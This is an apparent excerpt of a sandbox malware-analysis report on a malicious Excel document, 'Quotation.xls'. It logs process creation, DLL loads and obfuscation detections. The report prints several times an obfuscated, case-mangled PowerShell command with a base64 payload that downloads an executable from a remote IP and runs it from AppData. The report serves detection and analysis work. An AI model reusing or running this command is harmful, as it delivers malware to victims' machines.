Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: shcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: shcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: Quotation.xls Static file information: File size 1129472 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdb source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdbhPD source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdbhPE source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdb source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp
Source: ~DF91B6A489623540E3.TMP.0.dr Initial sample: OLE indicators vbamacros = False
Source: Quotation.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
PowerShell case anomaly found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
